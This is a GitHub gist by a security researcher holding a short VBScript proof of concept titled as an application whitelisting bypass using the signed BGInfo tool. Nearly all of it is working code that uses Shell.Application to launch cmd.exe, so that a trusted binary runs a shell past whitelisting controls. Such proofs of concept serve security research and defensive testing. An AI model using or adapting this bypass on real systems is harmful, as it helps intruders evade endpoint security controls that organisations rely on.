Skip to content

Instantly share code, notes, and snippets.

@api0cradle

api0cradle/gist:efc90f8318556f0737791b6d73a4ec8b

Created May 18, 2017 18:20
Show Gist options
  • Save api0cradle/efc90f8318556f0737791b6d73a4ec8b to your computer and use it in GitHub Desktop.
Save api0cradle/efc90f8318556f0737791b6d73a4ec8b to your computer and use it in GitHub Desktop.
Download ZIP
bginfo.vbs
Raw
gistfile1.txt
'PoC code: Application whitelisting bypass using bginfo
'Author: @oddvarmoe - http://oddvar.moe
strProgram = "cmd.exe"
strPath = "C:\windows\system32"
Set fso = CreateObject("Scripting.FileSystemObject")
strCommand = fso.BuildPath(strPath, strProgram)
Set app = CreateObject("Shell.Application")
app.ShellExecute strCommand, , strPath, , 1
echo "Does not matter what this says"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment